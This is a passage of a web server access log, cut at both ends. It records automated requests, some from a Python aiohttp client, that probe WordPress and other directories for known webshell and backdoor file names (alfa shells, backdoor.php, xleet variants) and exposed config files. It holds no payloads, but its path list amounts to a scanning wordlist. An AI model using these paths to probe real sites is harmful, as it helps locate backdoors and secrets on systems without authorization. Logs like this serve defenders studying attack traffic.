/wp-admin/maint/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:03 -0400] "GET /wp-admin/network/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:04 -0400] "GET /wp-admin/user/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:05 -0400] "GET /wp-admin/404TVS/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:06 -0400] "GET /.well-known/pki-validation/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:06 -0400] "GET /.well-known/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:07 -0400] "GET /.well-known/acme-challenge/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:08 -0400] "GET /images/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:09 -0400] "GET /cache1/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:10 -0400] "GET /cc888f23/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:10 -0400] "GET /wp-content/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:11 -0400] "GET /wp-content/themes/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:12 -0400] "GET /wp-content/plugins/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:13 -0400] "GET /wp-content/uploads/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:13 -0400] "GET /wp-content/upgrades/alfawolf-shell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:14 -0400] "GET /wp-admin/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:15 -0400] "GET /wp-admin/css/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:16 -0400] "GET /wp-admin/images/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:16 -0400] "GET /wp-admin/includes/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:17 -0400] "GET /wp-admin/maint/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:18 -0400] "GET /wp-admin/network/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:19 -0400] "GET /wp-admin/user/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:20 -0400] "GET /wp-admin/404TVS/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:21 -0400] "GET /.well-known/pki-validation/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:22 -0400] "GET /.well-known/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:22 -0400] "GET /.well-known/acme-challenge/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:23 -0400] "GET /images/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:24 -0400] "GET /cache1/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:24 -0400] "GET /cc888f23/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:26 -0400] "GET /wp-content/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:26 -0400] "GET /wp-content/themes/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:27 -0400] "GET /wp-content/plugins/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:28 -0400] "GET /wp-content/uploads/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:28 -0400] "GET /wp-content/upgrades/leaf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:29 -0400] "GET /smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:30 -0400] "GET /wp-admin/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:30 -0400] "GET /wp-admin/css/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:31 -0400] "GET /wp-admin/images/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:32 -0400] "GET /wp-admin/includes/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:33 -0400] "GET /wp-admin/maint/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:33 -0400] "GET /wp-admin/network/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:34 -0400] "GET /wp-admin/user/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:34 -0400] "GET /wp-admin/404TVS/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:35 -0400] "GET /.well-known/pki-validation/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:36 -0400] "GET /.well-known/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:36 -0400] "GET /.well-known/acme-challenge/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:37 -0400] "GET /images/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:39 -0400] "GET /cache1/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:40 -0400] "GET /cc888f23/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:40 -0400] "GET /wp-content/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:41 -0400] "GET /wp-content/themes/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:42 -0400] "GET /wp-content/plugins/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:42 -0400] "GET /wp-content/uploads/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:43 -0400] "GET /wp-content/upgrades/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:44 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:45 -0400] "GET /wp-admin/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:45 -0400] "GET /wp-admin/css/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:46 -0400] "GET /wp-admin/images/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:47 -0400] "GET /wp-admin/includes/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:47 -0400] "GET /wp-admin/maint/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:48 -0400] "GET /wp-admin/network/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:49 -0400] "GET /wp-admin/user/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:49 -0400] "GET /wp-admin/404TVS/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:50 -0400] "GET /.well-known/pki-validation/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:50 -0400] "GET /.well-known/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:51 -0400] "GET /.well-known/acme-challenge/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:51 -0400] "GET /images/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:52 -0400] "GET /cache1/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:53 -0400] "GET /cc888f23/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:53 -0400] "GET /wp-content/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:54 -0400] "GET /wp-content/themes/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:54 -0400] "GET /wp-content/plugins/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:55 -0400] "GET /wp-content/uploads/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:56 -0400] "GET /wp-content/upgrades/mail.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:56 -0400] "GET /wp-admin/css/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:57 -0400] "GET /wp-admin/images/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:57 -0400] "GET /wp-admin/includes/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:58 -0400] "GET /wp-admin/maint/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:58 -0400] "GET /wp-admin/network/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:53:59 -0400] "GET /wp-admin/user/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:00 -0400] "GET /wp-admin/404TVS/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:00 -0400] "GET /.well-known/pki-validation/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:01 -0400] "GET /.well-known/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:02 -0400] "GET /.well-known/acme-challenge/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:02 -0400] "GET /wp-content/plugins/sniplets/modules/syntax_highlight.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:03 -0400] "GET /prod/infos.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:03 -0400] "GET /cms/asdf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:04 -0400] "GET /bot/infos.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:05 -0400] "GET /backend/service/info.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:05 -0400] "GET /laravel/config/smtp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:06 -0400] "GET /current/api/phpinfo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:07 -0400] "GET /xl2024.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:07 -0400] "GET /assets/xl2024.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:08 -0400] "GET /assets/images/xl2024.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:09 -0400] "GET /ajax/xl2024.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:09 -0400] "GET /images/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:10 -0400] "GET /cache1/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:10 -0400] "GET /cc888f23/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:11 -0400] "GET /wp-content/themes/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:11 -0400] "GET /wp-content/plugins/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:12 -0400] "GET /wp-content/uploads/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:54:12 -0400] "GET /wp-content/upgrades/backdoor.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 34.1.20.238 - - [27/Apr/2025:08:59:08 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 66.212.18.223 - - [27/Apr/2025:09:03:18 -0400] "GET /themes/manage/assets/jquery-file-upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 52.170.18.30 - - [27/Apr/2025:09:48:37 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:38 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:38 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:39 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:39 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:40 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:40 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:40 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:41 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:41 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:41 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:42 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:42 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:42 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:42 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:43 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:43 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:43 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:43 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:44 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:44 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:44 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:44 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:45 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:45 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:45 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:46 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:46 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:46 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:46 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:46 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:47 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:47 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:47 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:47 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:48 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:48 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:48 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:49 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:49 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:49 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:49 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:50 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:50 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:50 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:51 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:51 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:52 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:52 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:52 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:53 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:53 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:54 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:55 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:55 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:56 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:56 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:57 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:57 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:57 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:57 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:58 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:58 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:59 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:59 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:59 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:48:59 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:00 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:00 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:00 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:00 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:01 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:01 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:01 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:02 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:02 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:02 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:02 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:02 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:03 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:03 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.170.18.30 - - [27/Apr/2025:09:49:03 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:01:57 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:01:58 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:01:58 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:01:58 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:01:59 -0400] "GET /edit-form.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:01:59 -0400] "GET /about.php525 HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:01:59 -0400] "GET /xleetshell.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:00 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:00 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:00 -0400] "GET /wp-content/plugins/nsplvxi/ HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:01 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:01 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:02 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:02 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:02 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.215.133 - - [27/Apr/2025:10:02:03 -0400] "GET 